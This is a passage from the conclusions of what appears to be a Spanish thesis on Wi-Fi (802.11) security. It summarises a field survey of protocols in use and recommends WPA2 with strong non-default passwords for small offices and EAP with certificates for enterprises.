una red inaldmbrica puede llegar a usuarios que no son su destinatario.

Tras el estudio general de las redes 802.11 y la explicacién de los protocolos de
seguridad, se ha podido entender c6mo funcionan los métodos de configuracién de
seguridad.

Posteriormente, en el estudio de campo se han observado los tipos de seguridad
que se usan en la actualidad. Un dato a destacar es que el protocolo més implementado
es WPA2, sin embargo, es imposible conocer el tipo de contrasefia que tienen, si se trata
la contraseia del AP por defecto o modificada, ni los caracteres que tiene.

También se han realizado los ataques mds comunes a los distintos protocolos de
seguridad, donde para cada ataque se explica el escenario en el que se sittia, como es
su ejecucion, lo que conlleva esa ejecucion y posibles contramedidas. Ademas, se ha
comprobado que los dispositivos con una mala configuracién de seguridad pueden ser
vulnerables a ataques diversos.

Ante los ataques que puede recibir un usuario de una red inaldmbrica, es importan-
te concienciar de los peligros que tiene el uso de una red inaldmbrica sin la seguridad
oportuna. Muchos usuarios usan las configuraciones de seguridad instaladas por de-
fecto en los dispositivos, sin saber el tipo de seguridad que implementa, no siendo
siempre la mejor. Si la contrasefia por defecto del dispositivo no se modifica, puede
ser vulnerable, ya que los proveedores de Internet suelen seguir patrones o algoritmos
para crear las contrasefias de sus dispositivos.

Ademads, si un usuario no tiene la 6ptima configuracién de seguridad, puede ser
objetivo de alglin tipo de ataque. La configuracién recomendada es usar WPA2 con
PSK para entornos SOHO y EAP para entornos empresariales. Para un entorno SOHO
hay que modificar la contrasefa por defecto del dispositivo y que sea una contrasefia
robusta, es decir, una longitud de la contrasefa a partir de 8 caracteres y utilizar una
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6. CONCLUSIONES

combinacidn de letras (maytsculas y mintsculas), nimeros y simbolos. Por otro lado,
en ambientes empresariales, la implementaciéon de certificados y el correcto uso del
usuario son esenciales. En definitiva, la seguridad de la comunicacién en una red

depende de las precauciones que tomen los administradores de redes y cada uno de
los usuarios.
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